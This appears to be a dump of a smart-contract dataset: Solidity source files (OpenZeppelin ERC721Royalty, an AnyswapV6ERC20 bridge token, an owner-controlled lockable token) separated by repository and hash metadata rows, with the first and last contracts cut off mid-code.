require(citizen.isCitizen(_to), "You can only buy for an exists member");
if (_from != _to) {
require(citizen.checkInvestorsInTheSameReferralTree(_from, _to), "This user isn't in your referral tree");
}
require(currentETHPrice > 0, "Invalid currentETHPrice, please contact admin!");
}
function validateLockingMiningToken(address _from) private view {
bool canBuy = lockedAccounts[_from] != Lock.MINING_TOKEN && lockedAccounts[_from] != Lock.BOTH;
require(canBuy, "Your account get locked from mining token");
}
function validateProfitBalance(address _user, uint _amount) private view {
uint profitBalance = wallet.getProfitBalance(_user);
require(profitBalance >= _amount, "You have not enough balance");
}
}
| 335,941 | 13,139 |
49e1dccfe55df353a11ae621826dadc552d8bf318bb455ff9984db75f1ce41b4
| 40,499 |
.sol
|
Solidity
| false |
635617544
|
0xblackskull/OpenZeppelin-Flattened
|
bef0a34f7a2402d302f91f7bccf2d2e153ebea6b
|
ozopenzeppelin-contracts/token/ERC721/extensions/ERC721Royalty_flat.sol
| 4,860 | 19,259 |
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/ERC721Royalty.sol)
pragma solidity ^0.8.0;
// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC721/ERC721.sol)
// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC721/IERC721.sol)
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(address from,
address to,
uint256 tokenId,
bytes calldata data) external;
function safeTransferFrom(address from,
address to,
uint256 tokenId) external;
function transferFrom(address from,
address to,
uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function setApprovalForAll(address operator, bool _approved) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function isApprovedForAll(address owner, address operator) external view returns (bool);
}
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol)
interface IERC721Receiver {
function onERC721Received(address operator,
address from,
uint256 tokenId,
bytes calldata data) external returns (bytes4);
}
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function verifyCallResultFromTarget(address target,
bool success,
bytes memory returndata,
string memory errorMessage) internal view returns (bytes memory) {
if (success) {
if (returndata.length == 0) {
// only check isContract if the call was successful and the return data is empty
// otherwise we already know that it was a contract
require(isContract(target), "Address: call to non-contract");
}
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function _revert(bytes memory returndata, string memory errorMessage) private pure {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
/// @solidity memory-safe-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts (last updated v4.7.0) (utils/Strings.sol)
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
uint8 private constant _ADDRESS_LENGTH = 20;
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
function toHexString(address addr) internal pure returns (string memory) {
return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);
}
}
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: address zero is not a valid owner");
return _balances[owner];
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: invalid token ID");
return owner;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
_requireMinted(tokenId);
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
function _baseURI() internal view virtual returns (string memory) {
return "";
}
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not token owner or approved for all");
_approve(to, tokenId);
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
_requireMinted(tokenId);
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
function transferFrom(address from,
address to,
uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: caller is not token owner or approved");
_transfer(from, to, tokenId);
}
function safeTransferFrom(address from,
address to,
uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(address from,
address to,
uint256 tokenId,
bytes memory data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: caller is not token owner or approved");
_safeTransfer(from, to, tokenId, data);
}
function _safeTransfer(address from,
address to,
uint256 tokenId,
bytes memory data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || isApprovedForAll(owner, spender) || getApproved(tokenId) == spender);
}
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
function _safeMint(address to,
uint256 tokenId,
bytes memory data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, data),
"ERC721: transfer to non ERC721Receiver implementer");
}
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
_afterTokenTransfer(address(0), to, tokenId);
}
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
delete _tokenApprovals[tokenId];
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
_afterTokenTransfer(owner, address(0), tokenId);
}
function _transfer(address from,
address to,
uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
delete _tokenApprovals[tokenId];
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
_afterTokenTransfer(from, to, tokenId);
}
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
function _setApprovalForAll(address owner,
address operator,
bool approved) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
function _requireMinted(uint256 tokenId) internal view virtual {
require(_exists(tokenId), "ERC721: invalid token ID");
}
function _checkOnERC721Received(address from,
address to,
uint256 tokenId,
bytes memory data) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
/// @solidity memory-safe-assembly
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
function _beforeTokenTransfer(address from,
address to,
uint256 tokenId) internal virtual {}
function _afterTokenTransfer(address from,
address to,
uint256 tokenId) internal virtual {}
}
// OpenZeppelin Contracts (last updated v4.7.0) (token/common/ERC2981.sol)
// OpenZeppelin Contracts (last updated v4.6.0) (interfaces/IERC2981.sol)
interface IERC2981 is IERC165 {
function royaltyInfo(uint256 tokenId, uint256 salePrice)
external
view
returns (address receiver, uint256 royaltyAmount);
}
abstract contract ERC2981 is IERC2981, ERC165 {
struct RoyaltyInfo {
address receiver;
uint96 royaltyFraction;
}
RoyaltyInfo private _defaultRoyaltyInfo;
mapping(uint256 => RoyaltyInfo) private _tokenRoyaltyInfo;
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC165) returns (bool) {
return interfaceId == type(IERC2981).interfaceId || super.supportsInterface(interfaceId);
}
function royaltyInfo(uint256 _tokenId, uint256 _salePrice) public view virtual override returns (address, uint256) {
RoyaltyInfo memory royalty = _tokenRoyaltyInfo[_tokenId];
if (royalty.receiver == address(0)) {
royalty = _defaultRoyaltyInfo;
}
uint256 royaltyAmount = (_salePrice * royalty.royaltyFraction) / _feeDenominator();
return (royalty.receiver, royaltyAmount);
}
function _feeDenominator() internal pure virtual returns (uint96) {
return 10000;
}
function _setDefaultRoyalty(address receiver, uint96 feeNumerator) internal virtual {
require(feeNumerator <= _feeDenominator(), "ERC2981: royalty fee will exceed salePrice");
require(receiver != address(0), "ERC2981: invalid receiver");
_defaultRoyaltyInfo = RoyaltyInfo(receiver, feeNumerator);
}
function _deleteDefaultRoyalty() internal virtual {
delete _defaultRoyaltyInfo;
}
function _setTokenRoyalty(uint256 tokenId,
address receiver,
uint96 feeNumerator) internal virtual {
require(feeNumerator <= _feeDenominator(), "ERC2981: royalty fee will exceed salePrice");
require(receiver != address(0), "ERC2981: Invalid parameters");
_tokenRoyaltyInfo[tokenId] = RoyaltyInfo(receiver, feeNumerator);
}
function _resetTokenRoyalty(uint256 tokenId) internal virtual {
delete _tokenRoyaltyInfo[tokenId];
}
}
abstract contract ERC721Royalty is ERC2981, ERC721 {
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC2981) returns (bool) {
return super.supportsInterface(interfaceId);
}
function _burn(uint256 tokenId) internal virtual override {
super._burn(tokenId);
_resetTokenRoyalty(tokenId);
}
}
| 63,555 | 13,140 |
16712af9bcd813d0793e353537d6052e7f756fa7472368ee6e1fe3537abda4e2
| 14,817 |
.sol
|
Solidity
| false |
468407125
|
tintinweb/smart-contract-sanctuary-optimism
|
5f86f1320e8b5cdf11039be240475eff1303ed67
|
contracts/mainnet/e0/e0Ce60AF0850bF54072635e66E79Df17082A1109_AnyswapV6ERC20.sol
| 3,294 | 12,942 |
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.2;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract AnyswapV6ERC20 is IERC20 {
using SafeERC20 for IERC20;
string public name;
string public symbol;
uint8 public immutable override decimals;
address public immutable underlying;
bool public constant underlyingIsMinted = false;
/// @dev Records amount of AnyswapV6ERC20 token owned by account.
mapping (address => uint256) public override balanceOf;
uint256 private _totalSupply;
// init flag for setting immediate vault, needed for CREATE2 support
bool private _init;
// flag to enable/disable swapout vs vault.burn so multiple events are triggered
bool private _vaultOnly;
// delay for timelock functions
uint public constant DELAY = 2 days;
// set of minters, can be this bridge or other bridges
mapping(address => bool) public isMinter;
address[] public minters;
// primary controller of the token contract
address public vault;
address public pendingMinter;
uint public delayMinter;
address public pendingVault;
uint public delayVault;
modifier onlyAuth() {
require(isMinter[msg.sender], "AnyswapV6ERC20: FORBIDDEN");
_;
}
modifier onlyVault() {
require(msg.sender == vault, "AnyswapV6ERC20: FORBIDDEN");
_;
}
function owner() external view returns (address) {
return vault;
}
function mpc() external view returns (address) {
return vault;
}
function setVaultOnly(bool enabled) external onlyVault {
_vaultOnly = enabled;
}
function initVault(address _vault) external onlyVault {
require(_init);
_init = false;
vault = _vault;
isMinter[_vault] = true;
minters.push(_vault);
}
function setVault(address _vault) external onlyVault {
require(_vault != address(0), "AnyswapV6ERC20: address(0)");
pendingVault = _vault;
delayVault = block.timestamp + DELAY;
}
function applyVault() external onlyVault {
require(pendingVault != address(0) && block.timestamp >= delayVault);
vault = pendingVault;
pendingVault = address(0);
delayVault = 0;
}
function setMinter(address _auth) external onlyVault {
require(_auth != address(0), "AnyswapV6ERC20: address(0)");
pendingMinter = _auth;
delayMinter = block.timestamp + DELAY;
}
function applyMinter() external onlyVault {
require(pendingMinter != address(0) && block.timestamp >= delayMinter);
isMinter[pendingMinter] = true;
minters.push(pendingMinter);
pendingMinter = address(0);
delayMinter = 0;
}
// No time delay revoke minter emergency function
function revokeMinter(address _auth) external onlyVault {
isMinter[_auth] = false;
}
function getAllMinters() external view returns (address[] memory) {
return minters;
}
function changeVault(address newVault) external onlyVault returns (bool) {
require(newVault != address(0), "AnyswapV6ERC20: address(0)");
emit LogChangeVault(vault, newVault, block.timestamp);
vault = newVault;
pendingVault = address(0);
delayVault = 0;
return true;
}
function mint(address to, uint256 amount) external onlyAuth returns (bool) {
_mint(to, amount);
return true;
}
function burn(address from, uint256 amount) external onlyAuth returns (bool) {
_burn(from, amount);
return true;
}
function Swapin(bytes32 txhash, address account, uint256 amount) external onlyAuth returns (bool) {
if (underlying != address(0) && IERC20(underlying).balanceOf(address(this)) >= amount) {
IERC20(underlying).safeTransfer(account, amount);
} else {
_mint(account, amount);
}
emit LogSwapin(txhash, account, amount);
return true;
}
function Swapout(uint256 amount, address bindaddr) external returns (bool) {
require(!_vaultOnly, "AnyswapV6ERC20: vaultOnly");
require(bindaddr != address(0), "AnyswapV6ERC20: address(0)");
if (underlying != address(0) && balanceOf[msg.sender] < amount) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
} else {
_burn(msg.sender, amount);
}
emit LogSwapout(msg.sender, bindaddr, amount);
return true;
}
mapping (address => mapping (address => uint256)) public override allowance;
event LogChangeVault(address indexed oldVault, address indexed newVault, uint indexed effectiveTime);
event LogSwapin(bytes32 indexed txhash, address indexed account, uint amount);
event LogSwapout(address indexed account, address indexed bindaddr, uint amount);
constructor(string memory _name, string memory _symbol, uint8 _decimals, address _underlying, address _vault) {
name = _name;
symbol = _symbol;
decimals = _decimals;
underlying = _underlying;
if (_underlying != address(0)) {
require(_decimals == IERC20(_underlying).decimals());
}
// Use init to allow for CREATE2 accross all chains
_init = true;
// Disable/Enable swapout for v1 tokens vs mint/burn for v3 tokens
_vaultOnly = false;
vault = _vault;
}
/// @dev Returns the total supply of AnyswapV6ERC20 token as the ETH held in this contract.
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function deposit() external returns (uint) {
uint _amount = IERC20(underlying).balanceOf(msg.sender);
IERC20(underlying).safeTransferFrom(msg.sender, address(this), _amount);
return _deposit(_amount, msg.sender);
}
function deposit(uint amount) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, msg.sender);
}
function deposit(uint amount, address to) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, to);
}
function depositVault(uint amount, address to) external onlyVault returns (uint) {
return _deposit(amount, to);
}
function _deposit(uint amount, address to) internal returns (uint) {
require(!underlyingIsMinted);
require(underlying != address(0) && underlying != address(this));
_mint(to, amount);
return amount;
}
function withdraw() external returns (uint) {
return _withdraw(msg.sender, balanceOf[msg.sender], msg.sender);
}
function withdraw(uint amount) external returns (uint) {
return _withdraw(msg.sender, amount, msg.sender);
}
function withdraw(uint amount, address to) external returns (uint) {
return _withdraw(msg.sender, amount, to);
}
function withdrawVault(address from, uint amount, address to) external onlyVault returns (uint) {
return _withdraw(from, amount, to);
}
function _withdraw(address from, uint amount, address to) internal returns (uint) {
require(!underlyingIsMinted);
require(underlying != address(0) && underlying != address(this));
_burn(from, amount);
IERC20(underlying).safeTransfer(to, amount);
return amount;
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
balanceOf[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
uint256 balance = balanceOf[account];
require(balance >= amount, "ERC20: burn amount exceeds balance");
balanceOf[account] = balance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV6ERC20 token.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
function approve(address spender, uint256 value) external override returns (bool) {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/// @dev Moves `value` AnyswapV6ERC20 token from caller's account to account (`to`).
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV6ERC20 token.
function transfer(address to, uint256 value) external override returns (bool) {
require(to != address(0) && to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "AnyswapV6ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
/// `value` is then deducted from caller account's allowance, unless set to `type(uint256).max`.
/// unless allowance is set to `type(uint256).max`
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - `from` account must have at least `value` balance of AnyswapV6ERC20 token.
function transferFrom(address from, address to, uint256 value) external override returns (bool) {
require(to != address(0) && to != address(this));
if (from != msg.sender) {
uint256 allowed = allowance[from][msg.sender];
if (allowed != type(uint256).max) {
require(allowed >= value, "AnyswapV6ERC20: request exceeds allowance");
uint256 reduced = allowed - value;
allowance[from][msg.sender] = reduced;
emit Approval(from, msg.sender, reduced);
}
}
uint256 balance = balanceOf[from];
require(balance >= value, "AnyswapV6ERC20: transfer amount exceeds balance");
balanceOf[from] = balance - value;
balanceOf[to] += value;
emit Transfer(from, to, value);
return true;
}
}
| 151,962 | 13,141 |
7160a6270c74a26bfb89e8a7627d06eb06771b55b1861f9dc78cf4817bd15758
| 12,914 |
.sol
|
Solidity
| false |
464846914
|
1052445594/ScrawlD
|
fe09170b492d3757050b3e5e14430140a3407b45
|
contracts/0x261bb5e1c53248860f4bc405abaae3e0bfc12874.sol
| 3,468 | 12,656 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function allowance(address owner, address spender) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Token is ERC20, Pausable {
struct sUserInfo {
uint256 balance;
bool lock;
mapping(address => uint256) allowed;
}
using SafeMath for uint256;
string public name;
string public symbol;
uint256 public decimals;
uint256 public totalSupply;
bool public restoreFinished = false;
mapping(address => sUserInfo) user;
event Mint(uint256 value);
event Burn(uint256 value);
event RestoreFinished();
modifier canRestore() {
require(!restoreFinished);
_;
}
function () public payable {
revert();
}
function validTransfer(address _from, address _to, uint256 _value, bool _lockCheck) internal {
require(_to != address(this));
require(_to != address(0));
require(user[_from].balance >= _value);
if(_lockCheck) {
require(user[_from].lock == false);
}
}
function lock(address _owner) public onlyOwner returns (bool) {
require(user[_owner].lock == false);
user[_owner].lock = true;
return true;
}
function unlock(address _owner) public onlyOwner returns (bool) {
require(user[_owner].lock == true);
user[_owner].lock = false;
return true;
}
function burn(address _to, uint256 _value) public onlyOwner returns (bool) {
require(_value <= user[_to].balance);
user[_to].balance = user[_to].balance.sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(_value);
return true;
}
function distribute(address _to, uint256 _value) public onlyOwner returns (bool) {
validTransfer(msg.sender, _to, _value, false);
user[msg.sender].balance = user[msg.sender].balance.sub(_value);
user[_to].balance = user[_to].balance.add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
require(_value > 0);
user[msg.sender].allowed[_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
validTransfer(_from, _to, _value, true);
require(_value <= user[_from].allowed[msg.sender]);
user[_from].balance = user[_from].balance.sub(_value);
user[_to].balance = user[_to].balance.add(_value);
user[_from].allowed[msg.sender] = user[_from].allowed[msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
validTransfer(msg.sender, _to, _value, true);
user[msg.sender].balance = user[msg.sender].balance.sub(_value);
user[_to].balance = user[_to].balance.add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferRestore(address _from, address _to, uint256 _value) public onlyOwner canRestore returns (bool) {
validTransfer(_from, _to, _value, false);
user[_from].balance = user[_from].balance.sub(_value);
user[_to].balance = user[_to].balance.add(_value);
Transfer(_from, _to, _value);
return true;
}
function finishRestore() public onlyOwner returns (bool) {
restoreFinished = true;
RestoreFinished();
return true;
}
function totalSupply() public view returns (uint256) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint256) {
return user[_owner].balance;
}
function lockState(address _owner) public view returns (bool) {
return user[_owner].lock;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return user[_owner].allowed[_spender];
}
}
contract LockBalance is Ownable {
enum eLockType {None, Individual, GroupA, GroupB, GroupC, GroupD}
struct sGroupLockDate {
uint256[] lockTime;
uint256[] lockPercent;
}
struct sLockInfo {
uint256[] lockType;
uint256[] lockBalanceStandard;
uint256[] startTime;
uint256[] endTime;
}
using SafeMath for uint256;
mapping(uint => sGroupLockDate) groupLockDate;
mapping(address => sLockInfo) lockUser;
event Lock(address indexed from, uint256 value, uint256 endTime);
function setLockUser(address _to, eLockType _lockType, uint256 _value, uint256 _endTime) internal {
lockUser[_to].lockType.push(uint256(_lockType));
lockUser[_to].lockBalanceStandard.push(_value);
lockUser[_to].startTime.push(now);
lockUser[_to].endTime.push(_endTime);
Lock(_to, _value, _endTime);
}
function lockBalanceGroup(address _owner, uint _index) internal view returns (uint256) {
uint256 percent = 0;
uint256 key = uint256(lockUser[_owner].lockType[_index]);
uint256 time = 99999999999;
for(uint256 i = 0 ; i < groupLockDate[key].lockTime.length; i++) {
if(now < groupLockDate[key].lockTime[i]) {
if(groupLockDate[key].lockTime[i] < time) {
time = groupLockDate[key].lockTime[i];
percent = groupLockDate[key].lockPercent[i];
}
}
}
if(percent == 0){
return 0;
} else {
return lockUser[_owner].lockBalanceStandard[_index].div(100).mul(uint256(percent));
}
}
function lockBalanceIndividual(address _owner, uint _index) internal view returns (uint256) {
if(now < lockUser[_owner].endTime[_index]) {
return lockUser[_owner].lockBalanceStandard[_index];
} else {
return 0;
}
}
function clearLockUser(address _owner, uint _index) onlyOwner public {
